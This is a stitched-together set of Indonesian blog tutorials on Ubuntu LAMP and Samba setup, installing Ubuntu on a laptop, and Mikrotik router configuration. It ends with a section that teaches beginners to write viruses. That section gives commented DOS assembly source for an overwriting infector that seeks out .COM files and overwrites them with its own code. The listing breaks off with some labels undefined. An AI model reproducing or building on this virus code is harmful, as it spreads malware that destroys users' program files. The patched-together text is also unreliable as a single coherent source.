Instalasi Ubuntu 7.04 versi LAMP Server

Installasi Ubuntu 7.04 versi LAMP server dilakukan secara normal dengan memilih untuk menginstall LAMP server sedangkan DNS server dibiarkan tidak terinstall.Enable root account (Tidak direkomendasikan, dan saya tidak melakukan hal ini)

Login dengan menggunakan account yang dibuat pada awal installasi (misalkan dede), setiap penggunaan perintah sudo anda akan ditanyakan password, password yang harus dimasukan bukan password dari user root melainkan password dari account dede.

sudo passwd root

Mengganti setting network

sudo vi /etc/network/interfaces
sudo /etc/init.d/networking restart
sudo vi /etc/resolv.conf

Remote SSH server dari komputer client.

sudo apt-get install ssh openssh-server

Mengganti repositori server untuk menggunakan server local

Proses installasi desktop memerlukan download file yang cukup besar dari repositori server (sekitar 480 MB), untuk itu ada baiknya jika kita merubah repositori server untuk menggunakan server local dengan tujuan agar proses download lebih cepat, sebagai contoh saya menggunakan server komo (IIX).

wget http://arsip.ubuntu-id.org/berkas/sources.list.komo

Kemudian edit file sources.list.komo dan replace text dapper dengan feisty, setelah selesai simpan perubahan tersebut, dan lanjutkan dengan menjalankan command berikut;

sudo mv /etc/apt/sources.list /etc/apt/sources.list.original
sudo cp sources.list.komo /etc/apt/sources.list
sudo apt-get update

Install desktop

sudo apt-get install ubuntu-desktop

-atau-

sudo apt-get install kubuntu-desktop

Jika ingin menginstall KDE desktop environment

Install VNC server

sudo apt-get install vnc4server

Membuat VNC passwd (-H untuk membuat vnc password file di /root/.vnc/passwd)

sudo -H vncpasswd

Modify /etc/X11/xorg.conf, pada section “Module” tambahkan

Load "vnc"

dan tambahkan juga baris berikut pada section “Screen

Option "SecurityTypes" VncAuth"
Option “UserPasswdVerifier” “VncAuth”
Option “PasswordFile” “/root/.vnc/passwd”

Setelah hasil modifikasi pada file xorg.conf disimpan, jangan lupa untuk merestart GDM

sudo /etc/init.d/gdm restart

Install samba

sudo apt-get install samba smbfs

Tampilkan shared folder yang ada dikomputer lain.

sudo smbclient -L //192.168.0.208
sudo smbclient -L //192.168.0.208 -U dede%mypassword -W ntdomain

Mount shared folder yang ada di komputer lain agar dapat diakses dari ubuntu server.

sudo mkdir /mnt/software
sudo smbmount //192.168.0.208/software /mnt/software -o username=”dede/ntdomain%mypassword”

Untuk selanjutnya, agar pembahasan dapat disajikan lebih mendetail saya akan memisahkan penggunaan samba pada halaman lain.

Silahkan lanjutkan pembahasan mengenai aplikasi samba pada topik: “Configure samba server on Ubuntu Feisty Fawn

Men-share folder linux server agar dapat diakses oleh Windows/Client

Untuk menshare agar folder yang ada pada linux server dapat diakses dari Windows atau computer client, yaitu dengan mengaktifkan samba, caranya pun cukup mudah yaitu:

sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.org
sudo vi /etc/samba/smb.conf

Edit file smb.conf jika digunakan hanya untuk sharing folder cukup dengan mengkonfigurasi file smb.conf nya menjadi (Bagian yang ditebalkan adalah bagian yang saya ubah):

[global]
workgroup = NTDOMAIN
server string = %h server (Samba, Ubuntu)
obey pam restrictions = Yes
security = user
encrypt passwords = true

passdb backend = tdbsam
passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\sUNIX\spassword:* %n\n *Retype\snew\sUNIX\spassword:* %n\n *password\supdated\ssuccessfully* .
syslog = 0
log file = /var/log/samba/log.%m
max log size = 1000
dns proxy = No
panic action = /usr/share/samba/panic-action %d
invalid users = root
[homes]
comment = Home Directories
valid users = %S
read only = No
create mask = 0600
directory mask = 0700
browseable = No

[printers]
comment = All Printers
path = /var/spool/samba
create mask = 0700
printable = Yes
browseable = No
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers

Test apakah configuration file smb.conf yang kita edit tersebut sudah benar dan tidak terdapat kesalahan dalam penulisan.

sudo testparm

Keluaran yang ditampilkan jika tidak ada penulisan yang salah akan sama/serupa dengan yang diatas,lanjutkan dengan membuat user samba menggunakan smbpasswd dan jangan lupa untuk merestart samba server.

sudo smbpasswd -a dede
sudo /etc/init.d/samba restart

Note:
Pastikan anda telah membuat user linux (useradd …) dan user samba (smbpasswd -a …).

Contoh diatas adalah cara termudah, anda diharapkan untuk mencoba-coba setting yang tersedia, dan bisa dimulai dari default file smb.conf yang telah disediakan pada saat installasi samba. Untuk lebih detail dan mengetahui fungsi-fungsi akan lebih baik jika membaca manual booknya.

Menjadikan server linux sebagai PDC (Primary Domain Controler)

Untuk menjadikan linux server sebagai PDC, sebenarnya caranya tidak jauh berbeda dengan cara diatas, yang berbeda hanya konfigurasi file yang harus kita siapkan, berikut adalah contoh konfigurasi file untuk menjadikan ubuntu server menjadi sebuah PDC server.

sudo vi /etc/samba/smb.conf

Edit file smb.conf sehingga kurang lebih menjadi seperti berikut (anda harus menyesuaikan beberapa nilai dengan setting yang sesuai dengan yang berlaku pada server anda, untuk sekedar membantu saya gunakan huruf bold dan italic):

[global]
dns proxy = No
domain master = yes
domain logons = yes
domain admin group =
root administrator
encrypt passwords = Yes
hosts allow =
192.168.0. 127.
interfaces = 192.168.0.0/24
load printers = No
local master = yes
time server = yes
logon path =
logon home =

log file = /var/log/samba/log.%m
max log size = 1000
netbios name = pegasus
os level = 64
preferred master = yes
security = user
server string =
Pegasus
socket options = TCP_NODELAY SO_RCVBUF=8192 SO_SNDBUF=8192
workgroup = DOMAINNT
add user script = /usr/sbin/useradd -n -d /dev/null -g machines -c Machine -s /sbin/nologin -M %m$
[netlogon]
path = /home/samba/netlogon
read only = yes
write list =
root administrator
[homes]
comment = Home Directories
valid users = %S
read only = No
create mask = 0664
directory mask = 0775
browseable = No

Simpan file tersebut dan jangan lupa untuk merestart samba service.

sudo /etc/init.d/samba restart

Instalasi Ubuntu

Sebelum dimulai mungkin perlu diketahui dulu spek lengkap laptop NEC Versa E3100, khususnya seri 1702DR
NEC Versa E3100-1702DR
Intel Pentium M 740
Intel 915 Chipset
RAM 2×256 MB DDR2
60 GB HDD 5400 RPM
DVD+RW (Dual Layer)
56K Modem, NIC, WiFi, Bluetooth, IrDA
VGA Integrated 64MB (shared)
14″ WXGA Super Shine View
Windows XP Home

Sesuai tujuan semula, laptop ini akan digunakan sebagai investasi, untuk mengerjakan hal-hal produktif. Produktif berarti menghasilkan sesuatu baik itu materi ataupun ilmu pengetahuan dan pengalaman. Sementara ini PC akan digunakan sebagai multimedia dan data center D

Karena laptop ini datang dengan pre-installed Windows XP Home, jadi disini saya gak akan menghapus Windows-nya, biarkan saja dulu, sayang kan bayar.
Negosiasi dengan sales NEC agar Windows XP nya dihapus aja supaya harga jadi lebih turun lagi ternyata gagal :p.
“Gak bisa mas, untuk seri E3100 semuanya pakai preinstalled Windows aseli”. Yah terpaksa deh, karena ngebet banget sama laptop ini, akhirnya saya bayar juga.
Ok, yang pertama harus dipersiapkan tentu saja CD Installer Ubuntu 6.06 LTS. Disini saya memakai Alternate CD (dulu namanya Install CD), bukan Live CD.
Aselinya hardisk laptop ini dipartisi menjadi dua. Partisi pertama menyimpan data system restore Windows sebesar 5 GB (sayang bgt kan…bisa full episode dorama tuh), sedangkan sisanya digunakan oleh system Windows dan data. Pengen juga sih ngebabat abis semua partisinya, trus install bersih dari awal. Tapi ntar dulu lah, nyobain dulu kondisi aselinya.
Untuk dapat menginstall Ubuntu tentu saja kita harus menyediakan partisi kosong (minimal 2 partisi, untuk swap dan root). Karena ada Partition Magic bajakan, jadinya saya geser aja partisi Windows menjadi 15GB, kemudian buat partisi FAT32 untuk share data Windows/Linux sebesar 30GB, dan sisanya untuk Ubuntu. Sebenarnya installer Ubuntu sudah menyediakan parted untuk meresize dan membuat partisi baru, jadi silahkan bisa dicoba.
Beginilah kondisi partisi saya sekarang

/dev/hda1 4GB Hidden W95 FAT32
/dev/hda2 15GB HPFS/NTFS
/dev/hda5 30GB W95 FAT32
/dev/hda6 380MB Linux swap
/dev/hda7 5GB Linux untuk partisi /
/dev/hda8 1.2GB Linux untuk partisi /opt
/dev/hda9 1.8GB Linux untuk partisi /home

Sengaja partisi /home nya kecil saja karena semua data disimpan di partisi FAT32 (/dev/hda5) agar bisa share access dengan windows. Partisi /opt disediakan untuk program-program bukan paket resmi ubuntu yang saya install sendiri.

Install Ubuntu
Mudah saja, masukkan CD installer ke CD-ROM drive laptop, boot, ubah urutan boot di BIOS agar dapat booting ke CDROM. Selanjutnya tinggal baca petunjuk dari installer D

Ubuntu Desktop

Pada waktu pertama kali install saya menggunakan mode text untuk install full. Tapi ditengah-tengah ketika proses install X server, laptop nge-hang dan tidak menunjukkan adanya tanda-tanda kehidupan. Akhirnya proses instalasi diulang dengan menggunakan metode install minimal (server). Setelah terinstall dan bisa masuk ke konsol tinggal install paket ubuntu-desktop, caranya:
Masukkan CD Installer Ubuntu
$ sudo apt-cdrom add
$ sudo apt-get update
$ sudo apt-get install ubuntu-desktop

Jika apt menanyakan konfirmasi jawab saja Yes. Perlu diketahui Ubuntu tidak menyediakan account root, semua akses ke system dilakukan oleh user biasa dengan menggunakan ’sudo’.

Sampai disini instalasi lancar saja, konfigurasi otomatis X bisa mengenali kartu grafis Intel 915 saya dan menjadikan i810 sebagai drivernya. Berikut ini potongan xorg.conf saya:

Section "Device"
Identifier "Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller"
Driver "i810"
BusID "PCI:0:2:0"
EndSection
Section "Monitor"
Identifier "Generic Monitor"
Option "DPMS"
EndSection
Section "Screen"
Identifier "Default Screen"
Device "Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller"
Monitor "Generic Monitor"
DefaultDepth 24
SubSection "Display"
Depth 16
Modes "1280x768"
EndSubSection
SubSection "Display"
Depth 24
Modes "1280x768"
EndSubSection
EndSection

Touchpad dan mouse usb dapat dikenali dan berjalan dengan baik. Function key untuk mengatur brigthness, dan volume speaker juga bisa dikenali.
Meskipun di xorg.conf udah didefinisikan Mode screen nya (1280×768) untuk WideScreen tapi ketika masuk ke X resolusi yang saya dapat hanya 1024×768, sehingga tampilan tampak seperti di-scretch dan font-nya gendut-gendut. Akhirnya setelah googling kesana kemari ketemu paket 915resolution, mudah saja tinggal install:

$ sudo ap-get install 915resolution

Kemudian restart X (Ctrl+Alt+Backspace) atau jika belum mempan, restart laptopnya D . Insya Alloh secara ajaib resoulsi widescreen akan didapatkan.

Repository Ubuntu
Tentu saja paling enak jika pada saat menginstall paket-paket Ubuntu ini kita terhubung ke internet. Namun jika tidak juga tidak menjadi soal, sekarang ini ada DVD repository Ubuntu (3 DVD), tinggal pesan. Bagaimana menambahkan daftar repository di system Anda? Paling mudah gunakan saja Synaptic Package Manager (dari menu System->Adminstration). Atau edit file /etc/apt/sources.list dan jalankan sudo apt-get update.
Menambahkan repository dari cdrom/dvd:
$ sudo apt-cdrom add
Masukkan cdrom atau dvd dan tunggu sampai Ubuntu mengindex semua paket yang ada di cdrom/dvd. Lakukan perintah diatas untuk setiap cdrom/dvd

Menambahkan repository kambing:
Edit file /etc/apt/sources.list dan tambahkan baris berikut
deb http://kambing.vlsm.org/ubuntu dapper main restricted universe multiverse
Setelah itu, jalankan $ sudo apt-get update

Frequency Scalling
Mungkin karena pada waktu pertama install saya pilih mode minimal (serer) sehingga frequency scaling tidak berfungsi. Prosesor selalu bekerja pada frekuensi penuh (1.73 Ghz). Pertama kali saya tidak menyadarinya, dan baru sadar keti membandingkan daya tahan batere antara Windows XP dan Ubuntu bagaikan bumi dan langit. Dengan Windows XP Home, batere penuh laptop dapat berjalan sekitar 3 jam lebih, tapi dengan Ubuntu paling lama 2 jam. Lagipula ketika pake Ubuntu laptop terasa cepet banget panasnya dan fan selalu berputar. Akhirnya saya menyadari bahwa di Ubuntu juga bisa mengatur frequensi prosesor agar tidak terlalu ngebut. Setelah googling kesana kemari, ketemu masalahnya ada beberapa modul yang tidak saya load secara default. Modul-modul tersebut adalah speedstep_centrino dan cpufreq_*. Untuk itu saya masukkan modul-modul tersebut ke /etc/modules. Berikut ini adalah /etc/modules saya
speedstep_centrino
cpufreq_conservative
cpufreq_ondemand
cpufreq_powersave
cpufreq_userspace
cpufreq_stat

Jangan lupa juga untuk menginstall powernowd dan laptop-mode-tools:
$ sudo apt-get install powernowd
$ sudo apt-get install laptop-mode-tools

Laptop-mode-tools dapat digunakan untuk mengatur hardisk dan prosesor. Untuk itu set true ENABLE_LAPTOP_MODE pada /etc/default/acpi-support.
Edit seperlunya /etc/laptop-mode/laptop-mode.conf, jangan lupa baca manual: man laptop-mode.conf. Berikut ini potongan contoh laptop-mode.conf saya.

ENABLE_LAPTOP_MODE_ON_BATTERY=1
ENABLE_LAPTOP_MODE_ON_AC=0
ENABLE_LAPTOP_MODE_WHEN_LID_CLOSED=0
CONTROL_CPU_FREQUENCY=1
# Legal values are "slowest" for the slowest speed that your
# CPU is able to operate at, "highest" for the fastest speed, or a value
# listed in /sys/devices/system/cpu/cpu*/cpufreq/scaling_available_frequencies.
BATT_CPU_MAXFREQ=fastest
BATT_CPU_MINFREQ=slowest
BATT_CPU_GOVERNOR=powersave
LM_AC_CPU_MAXFREQ=fastest
LM_AC_CPU_MINFREQ=slowest
LM_AC_CPU_GOVERNOR=ondemand
NOLM_AC_CPU_MAXFREQ=fastest
NOLM_AC_CPU_MINFREQ=slowest
NOLM_AC_CPU_GOVERNOR=userspace

Bahkan ketika laptop dicolokan ke power, frequency CPU tetap saya set ke userspace. Dengan ini ketika laptop dalam keadaan idle atau tidak sedang bekerja keras, frequensi CPU yang digunakan hanya 800Mhz. Frequensi ini akan naik sesuai dengan kebutuhan.
Untuk memonitor frequensi CPU yang digunakan, cobalah pasang applet CPU Frequency Scaling Monitor di panel Gnome (klik kanan-> Add Applet)

Sound Card
Tidak ada masalah, dikenali dengan baik OOTB, sama sekali gak ada setting manual. Menggunakan driver module alsa snd_hda_intel.

Modem

Di windows modem ini dikenali sebagai Agere System HDA Modem. Di Ubuntu, lspci tidak menunjukkan adanya modem. Tapi ketika menggunakan aplay -l barulah kelihatan bahwa modem ini dikenali.
$ aplay -l
**** List of PLAYBACK Hardware Devices ****
card 0: Intel [HDA Intel], device 0: STAC92xx Analog [STAC92xx Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 0: Intel [HDA Intel], device 1: STAC92xx Digital [STAC92xx Digital]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 0: Intel [HDA Intel], device 6: Si3054 Modem [Si3054 Modem]
Subdevices: 0/1
Subdevice #0: subdevice #0

Driver yang dipakai oleh saya adalah driver bawaan alsa yaitu snd-intel8×0m. Secara default module ini di-blacklist oleh dapper karena pada beberapa sistem sering mengakibatkan hang. Tapi tidak ada salahnya saya coba, caranya tinggal uncomment di /etc/modprobe.d/blacklist.
Jangan lupa juga install sl-modem-daemon

$ sudo apt-get-install sl-modem-daemon
Coba jalankan slmodemd:
$ sudo slmodemd --alsa -c INDONESIA modem:0 &
Jalankan wvdialconf untuk membentuk konfigurasi

$ sudo wvdialconf /etc/wvdial.conf

Slmodemd akan dijalankan di backgound. Untuk menghentikan slmodemd ketik $ fg dan tekan Ctr+C. (thanks to Han Thomas)

Insya Alloh jika benar-benar berhasil akan saya tulis dalam artikel terpisah.

WiFi
WiFi terdeteksi sebagai Intel Corporation PRO/Wireless 2200BG, dan modul driver yang dipakai adalah ipw2200. Langsung terdeteksi dan bekerja dengan baik. Untuk lebih memudahkan dalam memilih jenis koneksi yang akan dipakai nantinya lebih baik kita install applet network manager.
$ sudo apt-get install network-manager-gnome
Baca juga: Nyoba WiFI di BTM D

Yang belum dicoba:
WiFi (Detected, seems to work)
Modem (Detected, seems to work)
Firewire (Detected, seems to work)
IrDA (Dunno)
Bluetooth (Detected, seems to work)

Hihi masih banyak yak? Belum dicoba karena belom ada peralatan yang mendukung, blom punya HP bluetooth+IrDA ( , blom sempet ke hotspot (padahal di Gedung Alumni Bogor ada), blom mudik tuk nyoba konekin modem ke telepon D
Tapi untuk kebututuhan sekarang yah masih cukuplah.
Yang jelas kalau USB sama port RJ45 sih berjalan dengan baik. Udah dijajal di kantor sama warnet lancar aja, karena pake DHCP, IP otomatis didapat, gak perlu setting ribet-ribet.

Sekian dulu semoga bermanfaat. Saya akan berusaha mengupdate artikel ini jika ada suatu temuan yang menarik.
545714

Instalasi Router PC (Mikrotik)

A). Alat dan Bahan :

1. PC P2/P3/P4 sebagai Router PC : 1 unit

2. PC Network : 3 unit

3. Network Interface Card (NIC) : 5 buah

4. HUB  minimal 4 port :1 buah

5. CD program Router 1 buah

B). Langkah Kerja :

Siapkan satu unit PC yang akan dijadikan Router PC dengan memasang minimal 2 buah NIC, lalu Instal Program Router kedalam PC yang akan dijadikan Router PC tersebut dengan cara memasukan CD program kedalam CDROM, lalu atur BIOS agar booting melalui CDROM. Ikuti langkah instalasi hingga selesai.
PC yang sudah terinstal Program Router PC selanjutnya disetting agar dapat berfungsi menjadi router dengan perintah – perintah selanjuntay.
Setting IP address untuk NIC yang pertama dengan pengisian IP address untuk jaringan keluar / public/ departemen lain, dengan perintah sbb:

# ip address add address 200.200.200.20 netmask 255.255.255.0 interface ether1

Setting IP address untuk NIC yang kedua dengan pengisian IP address untuk jaringan     kedalam / local / departemen lain, dengan perintah sbb:

# ip address add address 192.168.1.254 netmask 255.255.255.0 interface ether2

Tes Koneksi dengan computer network yang lain dengan menggunakan perintah #ping IP address-nya. Jika konek berarti lanjutkan langkah selanjutnya.
Setting Gate way untuk Router dengan menggunakan gate way dari IP public, dengan perintah :

# ip route add gate way= 200.200.200.1 (dari IP Public/ ISP)

Setting Primary DNS untuk koneksi Internetnya dengan perintah :

# ip dns set primary-dns= 85.255.110.151

Setting Secondari DNS untuk alternative DNS pertama dengan perintah :

# ip dns set secondary-dns=85.255.112.115

Setting Routing masquerade ke NIC yang pertama, dengan perintah :
# ip firewall nat add chain=srcnat action=masquerade out-interface=ether1

Tes koneksi ke IP public yang lain atau ke alamat internet jika langsung terhubung dengan internet. (misal 200.200.200.10 ; www.google.com; www.yahoo.com ) jika berhasil maka setingan PC Router telah berhasil…….semoga berhasil…Piss…men….

CD Burning Mikrotik

Follow the instructions to install RouterOS using CD-Install: 1. After downloading the CD image from www.mikrotik.com you will have an ISO file on your computer: MT ISO image 2. Open a CD Writing software, like Ahead NERO as in this example: 3. In the program, choose Burn Image entry from the Recorder menu (there should be similary named option in all major CD burning programs): 4. Select the recently extracted ISO file and click Open : 5. Finally, click Burn button ; 6. Set the first boot device to CDROM in router’s BIOS. 7. After booting from CD you will see a menu where to choose packages to install :

Welcome to MikroTik Router Software installation  Move around menu using 'p' and 'n' or arrow keys, select with 'spacebar'. Select all with 'a', minimum with 'm'. Press 'i' to install locally or 'r' to install remote router or 'q' to cancel and reboot.    [X] system               [ ] isdn                  [ ] synchronous   [X] ppp                  [ ] lcd                   [ ] telephony   [X] dhcp                 [ ] ntp                   [ ] ups   [X] advanced-tools       [ ] radiolan              [ ] web-proxy   [ ] arlan                [ ] routerboard           [ ] wireless   [ ] gps                  [X] routing   [ ] hotspot              [X] security

Follow the instructions, select needed packages, and press ‘i’ to install the software 8. You will be asked for 2 questions :

Warning: all data on the disk will be erased     Continue? [y/n]

Press [Y] to continue or [N] to abort the installation.

Do you want to keep old configuration? [y/n]:

You should choose whether you want to keep old configuration (press [Y]) or to erase the configuration permanently (press [N]) and continue without saving it. For a fresh installation, press [N]

Creating partition...  Formatting disk...

The system will install selected packages. After that you will be prompted to press ‘Enter’. Before doing that, remove the CD from your CD-Drive:

Software installed.  Press ENTER to rebootNote:   After the installation you will have to enter the Software key.  See this manual how to do it

Setting Mikrotik Wireless Bridge

Sering kali, kita ingin menggunakan Mikrotik Wireless untuk solusi point to point dengan mode jaringan bridge (bukan routing). Namun, Mikrotik RouterOS sendiri didesain bekerja dengan sangat baik pada mode routing. Kita perlu melakukan beberapa hal supaya link wireless kita bisa bekerja untuk mode bridge.

Mode bridge memungkinkan network yang satu tergabung dengan network di sisi satunya secara transparan, tanpa perlu melalui routing, sehingga mesin yang ada di network yang satu bisa memiliki IP Address yang berada dalam 1 subnet yang sama dengan sisi lainnya

Namun, jika jaringan wireless kita sudah cukup besar, mode bridge ini akan membuat traffic wireless meningkat, mengingat akan ada banyak traffic broadcast dari network yang satu ke network lainnya. Untuk jaringan yang sudah cukup besar, saya menyarankan penggunaan mode routing.

Berikut ini adalah diagram network yang akan kita set.

Konfigurasi Pada Access Point

  1. Buatlah sebuah interface bridge yang baru, berilah nama bridge1

  2. Masukkan ethernet ke dalam interface bridge

  3. Masukkan IP Address pada interface bridge1

  4. Selanjutnya adalah setting wireless interface. Kliklah pada menu Wireless (1), pilihlah tab interface (2) lalu double click pada nama interface wireless yang akan digunakan (3). Pilihlah mode AP-bridge (4), tentukanlah ssid (5), band 2.4GHz-B/G (6), dan frekuensi yang akan digunakan (7). Jangan lupa mengaktifkan default authenticated (8) dan default forward (9). Lalu aktifkankanlah interface wireless (10) dan klik OK (11)
  5. Berikutnya adalah konfigurasi WDS pada wireless interface yang digunakan. Bukalah kembali konfigurasi wireless seperti langkah di atas, pilihlah tab WDS (1). Tentukanlah WDS Mode dynamic (2) dan pilihlah bridge interface untuk WDS ini (3). Lalu tekan tombol OK.

  6. Langkah selanjutnya adalah menambahkan virtual interface WDS. Tambahkan interface WDS baru seperti pada gambar, lalu pilihlah interface wireless yang kita gunakan untuk WDS ini. Lalu tekan OK.

  7. Jika WDS telah ditambahkan, maka akan tampak interface WDS baru seperti pada gambar di bawah.

Konfigurasi pada Wireless Station

Konfigurasi pada wireless station hampir sama dengan langkah-langkah di atas, kecuali pada langkah memasukkan IP Address dan konfigurasi wirelessnya. Pada konfigurasi station, mode yang digunakan adalah station-wds, frekuensi tidak perlu ditentukan, namun harus menentukan scan-list di mana frekuensi pada access point masuk dalam scan list ini. Misalnya pada access point kita menentukan frekuensi 2412, maka tuliskanlah scan-list 2400-2500.

 

Pengecekan link

Jika link wireless yang kita buat sudah bekerja dengan baik, maka pada menu wireless, akan muncul status R (lihat gambar di bawah).

Selain itu, mac-address dari wireless yang terkoneksi juga bisa dilihat pada jendela registration (lihat gambar di bawah).

 

Konfigurasi keamanan jaringan wireless

Pada Mikrotik, cara paling mudah untuk menjaga keamanan jaringan adalah dengan mendaftarkan mac-address wireless pasangan pada access list. Hal ini harus dilakukan pada sisi access point maupun pada sisi client. Jika penginputan access-list telah dilakukan, maka matikanlah fitur default authenticated pada wireless, maka wireless lain yang mac addressnya tidak terdaftar tidak akan bisa terkoneksi ke jaringan kita.

Jika kita menginginkan fitur keamanan yang lebih baik, kita juga bisa menggunakan enkripsi baik WEP maupun WPA.

Instalasi & Konfigurasi Mikrotik Router

Mikrotik dapat digunakan dalam 2 tipe, yaitu dalam bentuk perangkat keras dan perangkat lunak. Dalam bentuk perangkat keras, Mikrotik biasanya sudah diinstalasi pada suatu board tertentu, sedangkan dalam bentuk perangkat lunak, Mikrotik merupakan satu distro Linux yang memang dikhususkan untuk fungsi router.


Mikrotik RouterOS adalah sistem operasi dan perangkat lunak yang dapat digunakan untuk menjadikan komputer biasa menjadi router network yang handal,mencakup berbagai fitur yang dibuat untuk ip network dan jaringan wireless.Fitur-fitur tersebut diantaranya : Firewall & Nat, Routing, Hotspot, Point to Point Tunneling Protocol, DNS server, DHCP server, Hotspot, dan masih banyak lagi fitur lainnya.Komputer yang akan digunakan sebagai router network cukup dengan spesifikasi menengah, di tempat saya bekerja, Mikrotik dipergunakan pada cpu Pentium III 800 Mhz, RAM 512 mb dan hdd 10 Gb sebagai firewall dan hotspot server untuk melayani sekitar 150 user.Berikut ini adalah step-step instalasi Mikrotik routerOS

Sebelumnya persiapkan dulu cd instalasi miktorik, kalau belum punya ya silahkan cari pinjaman atau download dulu file ISO mikrotik di sini. Setelah cd siap maka masukkan ke cdrom dan lakukan boot from cd.
pastikan komputer yang akan dipergunakan memiliki minimal satu ethernet card.

Setelah proses booting selesai maka akan muncul tampilan berikut (klik untuk gambar yang lebih jelas):
mikrotik
Tampilan diatas adalah pilihan paket-paket yang akan di install, tekan ‘a’ untuk menginstall semuanya dan diteruskan dengan menekan ‘I’ untuk melanjutkan proses instalasi.

Proses instalasi dilanjutkan dengan pembuatan partisi dan format harddisk, harap diingat bahwa mikrotik akan mengambil semua space yang ada di harddisk. karena itu tidak disarankan utk menginstall mikrotik pada harddisk operasional yang berisi data-data penting seperti mp3 atau mungkin file avi kesayangan anda. (lho kok data operasional penting mp3 dan avi .. jangan jangan -D )

Setelah melakukan pembuatan partisi dan memformat harddisk maka tahap terakhir adalah menginstall paket-paket yang dipilih pada awal tadi ke dalam harddisk. setelah selesai tekan enter untuk reboot.

Mikrotik yang baru saja di download dan di install adalah versi shareware yang hanya bisa dipergunakan sementara dan akan bisa dipergunakan lebih lanjut bila melakukan registrasi terlebih dahulu, tapi jangan khawatir, versi ini sudah cukup untuk dipakai belajar kok.

Mikrotik telah selesai di install, dan bisa dipergunakan dengan login sebagai user admin dan tanpa password.

Membuat Virus dengan Visual Basic

Artikel ini ditulis mengingat betapa susahnya waktu pertama kali belajar
assembly dan penulis ingin berbagi rasa dan pengalaman bersama rekan-rekan
yang lain. Diharapkan setelah membaca artikel ini, para pemula yang ingin
belajar tentang pemrograman virus dapat mengerti dan membuat program virus
dengan kreasinya sendiri.Yang harus dipersiapkan terlebih dahulu adalah:- Membuat satu folder pada C:\ dengan nama LAB atau nama lain yang
diinginkan. Salin debug.exe (gunakan fasilitas search pada folder
WINDOWS) ke dalam folder tersebut.
- Download dan install program TASM dan TLINK (silakan menggunakan
Google search engine)
- Install aplikasi VB 6.0

— 01 // Source code —————————————————-

Berikut adalah program virus yang ditulis dalam bahasa assembly beserta
komentar agar dapat mempermudah proses pembelajaran.

<++ TESVIRUS.ASM ++>
; PROG : TESVIRUS.ASM [Trivial Based] based on TOAD
; Efek : menginfeksi semua file berakhiran .COM yg ada didalam folder

draggy segment ; nama segmen (awal dari segmen),
; umumnya menggunakan code segment

assume cs:draggy,ds:draggy ; register cs dengan ds ke segment
org 100h ; daftar ke memori 100hex atau 256 bytes
; untuk mengcompile program ke format .com

TesVirus proc near ; identitas virus/prosedur

; ————————————————————————

mulai: ; nama label (bisa ditulis dgn nama apa saja,
; terserah anda yg penting anda mengerti)

mov ah,4eh ; move nilai 4e hex ke ah untuk general register

; ————————————————————————

cari_korban: ; nama label

xor cx,cx ; cx = 0 untuk general register utk set atribut
; file = normal, bisa juga dengan menggunakan
; mov cx,0 tetapi dapat membuat ukuran program
; menjadi lebih besar 3 bytes

lea dx,comsig ; L<oad> E<ffective> A<ddress> dari comsig ke dx
; atau move string ke dx untuk mencari
; spesifik file yg akan diinfeksi,
; bisa juga dengan menggunakan mov dx, offset
; comsig

int 21h ; eksekusi fungsi yang sudah di set
; untuk lebih lengkapnya, lihat tabel interrupt

jc jejakpendekar ; jc = jump if carry (jika program telah
; terinfeksi maka eksekusi rutin jejakpendekar
; (rutin untuk menampilkan pesan) jika carry
; flag = 1 tetapi bila flag = 0 maka
; jump ignore (rutin jejakpendekar tidak
; dieksekusi) dan lanjutkan ke baris berikut

; ————————————————————————

buka_bajunya: ; nama label

mov ax,3d02h ; asumsi program telah menemukan file yg akan
; diinfeksi maka 3d02h diload ke AX
; karena AX tipe registernya 16-bit yang isinya
; masing-masing 8 bit AH & AL maka AH=3dh & AL=02h,
; dengan kata lain 3d hex diload ke AH
; AL diload dengan 02 hex utk membuka file
; dengan mode read/write.

; note: – AL = 02h –> open the file in
; read/write mode
; – AL = 00h –> open it in read only
; – AL = 01h –> write only

mov dx,9eh ; load ASCii string ke dx untuk nama file yg
; akan diinfeksi letaknya ada di PSP di bagian
; D<ata>T<ransfer>A<rea>.
; PSP start di 00 hex,DTA start di 80 hex,
; file name ada di 1e hex di awal DTA
; jadi total offset ini : 1e+80=9e hex,

int 21h ; eksekusi

; ————————————————————————

perkosa_korban: ; nama label

xchg bx,ax ; di rutin sebelumnya pada saat
; file dibuka(open), komputer
; menempatkan perlakuan unik
; (unique file handle) dan disimpan
; ke dalam AX. Kita membutuhkan file handle
; itu di BX untuk fungsi write record
; jadi anda dapat menggunakan Exchange(xchg) AX
; ke BX {xchg bx,ax} atau
; bisa juga dengan menggunakan mov bx,ax tetapi
; ukuran program menjadi lebih besar 1 byte,
; [biasanya untuk pembuatan program virus, kita
; harus dapat mengoptimalkan kode program agar
; program yang dihasilkan ukurannya lebih kecil
; sehingga lebih hemat memori dan efektif.]

mov ah,40h ; load 40 hex ke AH

mov cx,offset target – offset mulai ; perintahkan komputer
; agar menghitung jarak antara
; offset mulai dengan offset target agar
; dapat diketahui berapa banyak bytes
; yg akan ditulis(write).
; jadi CX harus diload dgn jumlah bytes
; yg akan ditulis

lea dx,mulai ; load alamat mulai ke dx

int 21h ; eksekusi

; ————————————————————————

balikin_bajunya: ; nama label

mov ah,3eh ; setelah file telah terinfeksi maka tutup file
; korban (load 3eh ke ah) agar program virus ini
; dapat mulai mencari program lain untuk diinfeksi

int 21h ; eksekusi

mov ah,4fh ; load 4f ke AH

jmp cari_korban ; looping, lompat ke label cari_korban
; sampai ada file yang flagnya=1

; ————————————————————————

jejakpendekar: ; nama label

; rutin ini berguna untuk menampilkan pesan,
; juga sebagai tanda program virus telah selesai.
; jadi jika anda tidak ingin menggunakan rutin ini
; tidak apa-apa karena program virus ini masih
; dapat berjalan

mov ah,09h ; servis ke 9 untuk mencetak string

mov dx,offset pesanku ; teks yg akan didisplay pada layar harus
; diload dahulu ke dx (Data Register)
; jadi ambil alamat Offset pesanku

int 21h ; eksekusi

; ————————————————————————

keluar:

int 20h ; finish! kembali ke DOS.
; terminate operation tanpa menset register.
; cara lain terminate dgn menset register adalah:
; mov ax,4c00h menggunakan int 21h
; (Keterangan: 00=exit without error)

;——————————————————————————–

comsig db “*.com”,0 ; define data = comsig, 0 = akhir string
; comsig = signature file COM

